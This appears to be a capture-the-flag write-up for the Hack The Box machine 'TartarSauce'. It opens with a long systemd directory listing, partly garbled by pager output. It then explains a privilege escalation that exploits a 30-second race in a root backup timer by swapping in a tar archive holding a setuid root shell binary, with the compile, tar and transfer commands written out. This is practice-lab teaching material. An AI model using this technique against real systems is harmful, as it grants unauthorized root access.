-rw-r--r-- 1 root root 757 Mar 8 2018 systemd-remount-fs.service
-rw-r--r-- 1 root root 907 Mar 8 2018 systemd-resolved.service
-rw-r--r-- 1 root root 696 Mar 8 2018 systemd-rfkill.service
-rw-r--r-- 1 root root 617 Mar 8 2018 systemd-rfkill.socket
-rw-r--r-- 1 root root 497 Mar 8 2018 systemd-suspend.service
-rw-r--r-- 1 root root 653 Mar 8 2018 systemd-sysctl.service
-rw-r--r-- 1 root root 655 Mar 8 2018 systemd-timedated.service
-rw-r--r-- 1 root root 1.1K Mar 8 2018 systemd-timesyncd.service
-rw-r--r-- 1 root root 598 Mar 8 2018 systemd-tmpfiles-clean.service
-rw-r--r-- 1 root root 450 Mar 8 2018 systemd-tmpfiles-clean.timer
-rw-r--r-- 1 root root 703 Mar 8 2018 systemd-tmpfiles-setup-dev.service
-rw-r--r-- 1 root root 683 Mar 8 2018 systemd-tmpfiles-setup.service
-rw-r--r-- 1 root root 823 Mar 8 2018 systemd-udev-settle.service
-rw-r--r-- 1 root root 743 Mar 8 2018 systemd-udev-trigger.service
-rw-r--r-- 1 root root 578 Mar 8 2018 systemd-udevd-control.socket
-rw-r--r-- 1 root root 570 Mar 8 2018 systemd-udevd-kernel.socket
-rw-r--r-- 1 root root 825 Mar 8 2018 systemd-udevd.service
-rw-r--r-- 1 root root 757 Mar 8 2018 systemd-update-utmp-runlevel.service
-rw-r--r-- 1 root root 754 Mar 8 2018 systemd-update-utmp.service
-rw-r--r-- 1 root root 573 Mar 8 2018 systemd-user-sessions.service
-rw-r--r-- 1 root root 395 Mar 8 2018 time-sync.target
-rw-r--r-- 1 root root 405 Mar 8 2018 timers.target
-rw-r--r-- 1 root root 417 Mar 8 2018 umount.target
-rw-r--r-- 1 root root 392 Mar 8 2018 user.slice
-rw-r--r-- 1 root root 528 Mar 8 2018 user@.service
-rw-r--r-- 1 root root 238 Mar 6 2018 apt-daily-upgrade.service
-rw-r--r-- 1 root root 184 Mar 6 2018 apt-daily-upgrade.timer
-rw-r--r-- 1 root root 225 Mar 6 2018 apt-daily.service
-rw-r--r-- 1 root root 156 Mar 6 2018 apt-daily.timer
-rw-r--r-- 1 root root 342 Feb 21 2018 getty-static.service
-rw-r--r-- 1 root root 153 Feb 21 2018 sigpwr-container-shutdown.service
ice -- 1 root root 175 Feb 21 2018 systemd-networkd-resolvconf-update.path-rw-r--r-- 1 root root 715 Feb 21 2018 systemd-networkd-resolvconf-update.serv--More--
-rw-r--r-- 1 root root 72 Feb 17 2018 backuperer.service
-rw-r--r-- 1 root root 254 Feb 16 2018 backuperer.timer
-rw-r--r-- 1 root root 251 Feb 15 2018 open-vm-tools.service
lrwxrwxrwx 1 root root 9 Feb 9 2018 screen-cleanup.service -> /dev/null
-rw-r--r-- 1 root root 681 Dec 7 2017 lxd.service
-rw-r--r-- 1 root root 206 Dec 7 2017 lxd-bridge.service
-rw-r--r-- 1 root root 318 Dec 7 2017 lxd-containers.service
-rw-r--r-- 1 root root 197 Dec 7 2017 lxd.socket
-rw-r--r-- 1 root root 189 Nov 30 2017 uuidd.service
-rw-r--r-- 1 root root 126 Nov 30 2017 uuidd.socket
-rw-r--r-- 1 root root 420 Nov 29 2017 resolvconf.service
-rw-r--r-- 1 root root 311 Nov 8 2017 lxcfs.service
-rw-r--r-- 1 root root 670 Nov 8 2017 mdadm-shutdown.service
drwxr-xr-x 2 root root 4.0K Aug 1 2017 busnames.target.wants
-rw-r--r-- 1 root root 345 Apr 20 2017 unattended-upgrades.service
-rw-r--r-- 1 root root 385 Mar 16 2017 ssh.service
-rw-r--r-- 1 root root 216 Mar 16 2017 ssh.socket
-rw-r--r-- 1 root root 196 Mar 16 2017 ssh@.service
-rw-r--r-- 1 root root 411 Feb 3 2017 mysql.service
-rw-r--r-- 1 root root 269 Jan 31 2017 setvtrgb.service
-rw-r--r-- 1 root root 491 Jan 12 2017 dbus.service
-rw-r--r-- 1 root root 106 Jan 12 2017 dbus.socket
-rw-r--r-- 1 root root 735 Nov 30 2016 networking.service
-rw-r--r-- 1 root root 497 Nov 30 2016 ifup@.service
-rw-r--r-- 1 root root 631 Nov 3 2016 accounts-daemon.service
-rw-r--r-- 1 root root 285 Jun 16 2016 keyboard-setup.service
-rw-r--r-- 1 root root 288 Jun 16 2016 console-setup.service
lrwxrwxrwx 1 root root 9 Apr 16 2016 lvm2.service -> /dev/null
-rw-r--r-- 1 root root 334 Apr 16 2016 dm-event.service
-rw-r--r-- 1 root root 248 Apr 16 2016 dm-event.socket
-rw-r--r-- 1 root root 380 Apr 16 2016 lvm2-lvmetad.service
-rw-r--r-- 1 root root 215 Apr 16 2016 lvm2-lvmetad.socket
-rw-r--r-- 1 root root 335 Apr 16 2016 lvm2-lvmpolld.service
-rw-r--r-- 1 root root 213 Apr 16 2016 lvm2-lvmpolld.socket
-rw-r--r-- 1 root root 658 Apr 16 2016 lvm2-monitor.service
-rw-r--r-- 1 root root 382 Apr 16 2016 lvm2-pvscan@.service
drwxr-xr-x 2 root root 4.0K Apr 12 2016 runlevel1.target.wants
drwxr-xr-x 2 root root 4.0K Apr 12 2016 runlevel2.target.wants
drwxr-xr-x 2 root root 4.0K Apr 12 2016 runlevel3.target.wants
drwxr-xr-x 2 root root 4.0K Apr 12 2016 runlevel4.target.wants
drwxr-xr-x 2 root root 4.0K Apr 12 2016 runlevel5.target.wants
-rw-r--r-- 1 root root 234 Apr 8 2016 acpid.service
-rw-r--r-- 1 root root 251 Apr 5 2016 cron.service
-rw-r--r-- 1 root root 290 Apr 5 2016 rsyslog.service
-rw-r--r-- 1 root root 142 Mar 31 2016 apport-forward@.service
-rw-r--r-- 1 root root 455 Mar 29 2016 iscsid.service
-rw-r--r-- 1 root root 1.1K Mar 29 2016 open-iscsi.service
-rw-r--r-- 1 root root 115 Feb 9 2016 acpid.socket
-rw-r--r-- 1 root root 115 Feb 9 2016 acpid.path
-rw-r--r-- 1 root root 169 Jan 14 2016 atd.service
-rw-r--r-- 1 root root 182 Jan 14 2016 polkitd.service
-rw-r--r-- 1 root root 790 Jun 1 2015 friendly-recovery.service
-rw-r--r-- 1 root root 241 Mar 3 2015 ufw.service
-rw-r--r-- 1 root root 250 Feb 24 2015 ureadahead-stop.service
-rw-r--r-- 1 root root 242 Feb 24 2015 ureadahead-stop.timer
-rw-r--r-- 1 root root 401 Feb 24 2015 ureadahead.service
-rw-r--r-- 1 root root 188 Feb 24 2014 rsync.service

/lib/systemd/system/halt.target.wants:
total 0
lrwxrwxrwx 1 root root 24 Apr 3 2018 plymouth-halt.service -> ../plymouth-halt.service

/lib/systemd/system/kexec.target.wants:
total 0
lrwxrwxrwx 1 root root 25 Apr 3 2018 plymouth-kexec.service -> ../plymouth-kexec.service

/lib/systemd/system/poweroff.target.wants:
total 0
lrwxrwxrwx 1 root root 28 Apr 3 2018 plymouth-poweroff.service -> ../plymouth-poweroff.service
lrwxrwxrwx 1 root root 39 Mar 8 2018 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service

/lib/systemd/system/sysinit.target.wants:
total 0
lrwxrwxrwx 1 root root 30 Apr 3 2018 plymouth-read-write.service -> ../plymouth-read-write.service
lrwxrwxrwx 1 root root 25 Apr 3 2018 plymouth-start.service -> ../plymouth-start.service
lrwxrwxrwx 1 root root 30 Mar 8 2018 systemd-hwdb-update.service -> ../systemd-hwdb-update.service
lrwxrwxrwx 1 root root 31 Mar 8 2018 systemd-udev-trigger.service -> ../systemd-udev-trigger.service
lrwxrwxrwx 1 root root 24 Mar 8 2018 systemd-udevd.service -> ../systemd-udevd.service
lrwxrwxrwx 1 root root 20 Mar 8 2018 cryptsetup.target -> ../cryptsetup.targetlrwxrwxrwx 1 root root 22 Mar 8 2018 dev-hugepages.mount -> ../dev-hugepages.mount
lrwxrwxrwx 1 root root 19 Mar 8 2018 dev-mqueue.mount -> ../dev-mqueue.mount
lrwxrwxrwx 1 root root 28 Mar 8 2018 kmod-static-nodes.service -> ../kmod-static-nodes.service
lrwxrwxrwx 1 root root 36 Mar 8 2018 proc-sys-fs-binfmt_misc.automount -> ../proc-sys-fs-binfmt_misc.automount
lrwxrwxrwx 1 root root 32 Mar 8 2018 sys-fs-fuse-connections.mount -> ../sys-fs-fuse-connections.mount
lrwxrwxrwx 1 root root 26 Mar 8 2018 sys-kernel-config.mount -> ../sys-kernel-config.mount
lrwxrwxrwx 1 root root 25 Mar 8 2018 sys-kernel-debug.mount -> ../sys-kernel-debug.mount
lrwxrwxrwx 1 root root 36 Mar 8 2018 systemd-ask-password-console.path -> ../systemd-ask-password-console.path
lrwxrwxrwx 1 root root 25 Mar 8 2018 systemd-binfmt.service -> ../systemd-binfmt.service
lrwxrwxrwx 1 root root 32 Mar 8 2018 systemd-journal-flush.service -> ../systemd-journal-flush.service
lrwxrwxrwx 1 root root 27 Mar 8 2018 systemd-journald.service -> ../systemd-journald.service
lrwxrwxrwx 1 root root 36 Mar 8 2018 systemd-machine-id-commit.service -> ../systemd-machine-id-commit.service
lrwxrwxrwx 1 root root 31 Mar 8 2018 systemd-modules-load.service -> ../systemd-modules-load.service
-random-seed.serviceot 30 Mar 8 2018 systemd-random-seed.service -> ../systemd--More--
lrwxrwxrwx 1 root root 25 Mar 8 2018 systemd-sysctl.service -> ../systemd-sysctl.service
lrwxrwxrwx 1 root root 37 Mar 8 2018 systemd-tmpfiles-setup-dev.service -> ../systemd-tmpfiles-setup-dev.service
lrwxrwxrwx 1 root root 33 Mar 8 2018 systemd-tmpfiles-setup.service -> ../systemd-tmpfiles-setup.service
lrwxrwxrwx 1 root root 30 Mar 8 2018 systemd-update-utmp.service -> ../systemd-update-utmp.service
lrwxrwxrwx 1 root root 24 Feb 9 2018 console-setup.service -> ../console-setup.service
lrwxrwxrwx 1 root root 25 Feb 9 2018 keyboard-setup.service -> ../keyboard-setup.service
lrwxrwxrwx 1 root root 19 Feb 9 2018 setvtrgb.service -> ../setvtrgb.service

/lib/systemd/system/initrd-switch-root.target.wants:
total 0
lrwxrwxrwx 1 root root 25 Apr 3 2018 plymouth-start.service -> ../plymouth-start.service
lrwxrwxrwx 1 root root 31 Apr 3 2018 plymouth-switch-root.service -> ../plymouth-switch-root.service

/lib/systemd/system/multi-user.target.wants:
total 0
lrwxrwxrwx 1 root root 29 Apr 3 2018 plymouth-quit-wait.service -> ../plymouth-quit-wait.service
lrwxrwxrwx 1 root root 24 Apr 3 2018 plymouth-quit.service -> ../plymouth-quit.service
lrwxrwxrwx 1 root root 15 Mar 8 2018 getty.target -> ../getty.target
lrwxrwxrwx 1 root root 33 Mar 8 2018 systemd-ask-password-wall.path -> ../systemd-ask-password-wall.path
lrwxrwxrwx 1 root root 25 Mar 8 2018 systemd-logind.service -> ../systemd-logind.service
lrwxrwxrwx 1 root root 39 Mar 8 2018 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service
lrwxrwxrwx 1 root root 32 Mar 8 2018 systemd-user-sessions.service -> ../systemd-user-sessions.service
lrwxrwxrwx 1 root root 15 Jan 12 2017 dbus.service -> ../dbus.service

/lib/systemd/system/reboot.target.wants:
total 0
lrwxrwxrwx 1 root root 26 Apr 3 2018 plymouth-reboot.service -> ../plymouth-reboot.service
lrwxrwxrwx 1 root root 39 Mar 8 2018 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service

/lib/systemd/system/apache2.service.d:
total 4.0K
-rw-r--r-- 1 root root 42 Apr 12 2016 apache2-systemd.conf

/lib/systemd/system/sockets.target.wants:
total 0
lrwxrwxrwx 1 root root 31 Mar 8 2018 systemd-udevd-control.socket -> ../systemd-udevd-control.socket
lrwxrwxrwx 1 root root 30 Mar 8 2018 systemd-udevd-kernel.socket -> ../systemd-udevd-kernel.socket
lrwxrwxrwx 1 root root 25 Mar 8 2018 systemd-initctl.socket -> ../systemd-initctl.socket
lrwxrwxrwx 1 root root 32 Mar 8 2018 systemd-journald-audit.socket -> ../systemd-journald-audit.socket
lrwxrwxrwx 1 root root 34 Mar 8 2018 systemd-journald-dev-log.socket -> ../systemd-journald-dev-log.socket
lrwxrwxrwx 1 root root 26 Mar 8 2018 systemd-journald.socket -> ../systemd-journald.socket
lrwxrwxrwx 1 root root 14 Jan 12 2017 dbus.socket -> ../dbus.socket

/lib/systemd/system/getty.target.wants:
total 0
ervice wx 1 root root 23 Mar 8 2018 getty-static.service -> ../getty-static.s--More--

/lib/systemd/system/graphical.target.wants:
total 0
lrwxrwxrwx 1 root root 39 Mar 8 2018 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service

/lib/systemd/system/local-fs.target.wants:
total 0
lrwxrwxrwx 1 root root 29 Mar 8 2018 systemd-remount-fs.service -> ../systemd-remount-fs.service

/lib/systemd/system/rescue.target.wants:
total 0
lrwxrwxrwx 1 root root 39 Mar 8 2018 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service

/lib/systemd/system/resolvconf.service.wants:
total 0
lrwxrwxrwx 1 root root 42 Mar 8 2018 systemd-networkd-resolvconf-update.path -> ../systemd-networkd-resolvconf-update.path

/lib/systemd/system/sigpwr.target.wants:
total 0
lrwxrwxrwx 1 root root 36 Mar 8 2018 sigpwr-container-shutdown.service -> ../sigpwr-container-shutdown.service

/lib/systemd/system/timers.target.wants:
total 0
lrwxrwxrwx 1 root root 31 Mar 8 2018 systemd-tmpfiles-clean.timer -> ../systemd-tmpfiles-clean.timer

/lib/systemd/system/rc-local.service.d:
total 4.0K
-rw-r--r-- 1 root root 290 Feb 21 2018 debian.conf

/lib/systemd/system/systemd-resolved.service.d:
total 4.0K
-rw-r--r-- 1 root root 200 Feb 21 2018 resolvconf.conf

/lib/systemd/system/systemd-timesyncd.service.d:
total 4.0K
-rw-r--r-- 1 root root 251 Feb 21 2018 disable-with-time-daemon.conf

/lib/systemd/system/busnames.target.wants:
total 0

/lib/systemd/system/runlevel1.target.wants:
total 0

/lib/systemd/system/runlevel2.target.wants:
total 0

/lib/systemd/system/runlevel3.target.wants:
total 0

/lib/systemd/system/runlevel4.target.wants:
total 0

/lib/systemd/system/runlevel5.target.wants:
total 0

/lib/systemd/system-generators:
total 684K
-rwxr-xr-x 1 root root 14K Apr 11 2018 snapd-generator
-rwxr-xr-x 1 root root 38K Mar 8 2018 systemd-getty-generator
-rwxr-xr-x 1 root root 34K Mar 8 2018 systemd-hibernate-resume-generator
-rwxr-xr-x 1 root root 38K Mar 8 2018 systemd-insserv-generator
-rwxr-xr-x 1 root root 102K Mar 8 2018 systemd-sysv-generator
-rwxr-xr-x 1 root root 70K Mar 8 2018 systemd-cryptsetup-generator
-rwxr-xr-x 1 root root 58K Mar 8 2018 systemd-dbus1-generator
-rwxr-xr-x 1 root root 38K Mar 8 2018 systemd-debug-generator
-rwxr-xr-x 1 root root 78K Mar 8 2018 systemd-fstab-generator
-rwxr-xr-x 1 root root 122K Mar 8 2018 systemd-gpt-auto-generator
-rwxr-xr-x 1 root root 30K Mar 8 2018 systemd-rc-local-generator
-rwxr-xr-x 1 root root 26K Mar 8 2018 systemd-system-update-generator
-rwxr-xr-x 1 root root 9.5K Apr 16 2016 lvm2-activation-generator

/lib/systemd/system-sleep:
total 4.0K
-rwxr-xr-x 1 root root 92 Mar 17 2016 hdparm

/lib/systemd/network:
total 12K
-rw-r--r-- 1 root root 404 Mar 8 2018 80-container-host0.network
-rw-r--r-- 1 root root 482 Mar 8 2018 80-container-ve.network
-rw-r--r-- 1 root root 80 Mar 8 2018 99-default.link

/lib/systemd/system-preset:
total 4.0K
-rw-r--r-- 1 root root 869 Mar 8 2018 90-systemd.preset

/lib/systemd/system-shutdown:
total 4.0K
-rwxr-xr-x 1 root root 160 Nov 8 2017 mdadm.shutdown


software

images/938-1.png

images/938-2.png

interesting files

images/939-1.pngs

images/939-2.png

images/939-3.png


images/939-4.png

images/939-5.png

images/939-6.png

interesting finds

we have a backuperer file that seems like it runs every couple of minutes
images/941-1.pngimages/941-2.png
images/941-3.png

procmon.sh

lets see how often backuperer (and other processes) are being run with ippsec's process monitor program (pspy works too)

after a while we see backuperer being called and a strange file that gets tar'd and moved into the html directory
images/944-1.png

images/944-2.png

images/944-3.png

backuperer

lets take a closer look at backuperer

images/942-1.png

images/942-2.png

lets cat out the source code and check out what it does
images/942-3.png

images/942-4.png

images/942-5.png

notes

Let’s breakdown what the script is doing. First, the following variables are being initialized in the script.

images/946-1.png

Then the script performs the following actions:
1. Recursively deletes the files/directories: /var/tmp/.* and /var/tmp/check.
2. Creates a gzip file of the directory /var/www/html and saves it in the file /var/tmp/.[random-sha1-value].
3. Sleeps for 30 seconds.
4. Creates the directory /var/tmp/check.
5. Changes to the directory /var/tmp/check and extract the gzip /var/tmp/.[random-sha1-value].
6. If the files in /var/www/html are different from the files in the backup it created /var/tmp/check/var/www/html, then report error. Otherwise, move file /var/tmp/.[random-sha1-value] to /var/backups/onuma-wwww-dev.bak and remove everything in the check directory and any files that start with the character “.”. Those would be the backup .[random-sha1-value] files it created.

The exploit for this is not very intuitive so bear with me as I try to explain it. When the backup is being created, the script sleeps 30 seconds before it executes the rest of the commands. We can use these 30 seconds to replace the backup tar file that the script created with our own malicious file.

After the 30 seconds pass, it will create a directory called “check” and decompress our malicious backup tar file there. Then it will go through the integrity check and fail, thereby giving us 5 minutes before the next scheduled task is run, to run our setuid binary and escalate privileges. Once the 5 minutes are up, the backuperer program is run again and our files get deleted.

setuid.c

from our attack machine lets make setuid.c and place it in the var/www/html folder we create from tartarsauce directory

images/943-1.png

and compile it with

gcc -m32 -o setuid setuid.c
-m32: 32 bit architecture since the target machine is running a 32 bit os
-o: output file

images/943-2.png

images/943-3.png
we get a fatal error because we're missing some libraries

thx to
ippsec we can search for those libs with apt search gcc-multilib



upload tar with malicious c code w/ sticky bit preset to tartarsauce

Write the malicious c code that will spawn a shell for us
images/948-1.png

compile it in 32 bit architecture since the box runs off that architecture
gcc -m32 -o PleaseSubscribe setuid.c
images/948-2.png

create a var/www/html directory from our own working directory to mimic our victim's directories
mkdir -p var/www/html

move our compiled exploit into that directory
images/948-3.png


IMPORTANT:
Set the SUID bit (sticky bit) to root on our attacking machine... tar'ing the file will preserve its privileges when we upload it to our victim!
images/948-4.png
images/948-5.png

use tar to compress all the contents of var/www/html
images/948-6.png

upload it to tartarsauce with either nc or an http server
images/948-7.png

receive it on our victim machine with nc (wget should work as well)
images/948-8.png





backuperer in action

now we wait 5 minutes for backuperer to check and find out there is a file difference in var/www/html and make a binary of it

we can check running processes with
systemctl list-timers
images/949-1.png

after 1min 23 seconds...
images/949-2.png

now that we see the backup, we need to copy our tar into that file with
cp final.tar.gz .ee8de8a317767faf46508acf292a05ba91530337

images/949-3.png

backuperer will now unzip the tar and check its contents after a sleep timer of 30 seconds
images/949-4.png

then we navigate to check /var/www/html to our PleaseSubscribe script and see it has the same privileges we assigned to it on our attacking machine
images/949-5.png

run it and ... we're root!
images/949-6.png


user/root

images/950-1.png
b2d6ec45472467c836f253bd170182c7

images/950-2.png
e79abdab8b8a4b64f8579a10b2cd09f9

lessons learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/

images/951-1.png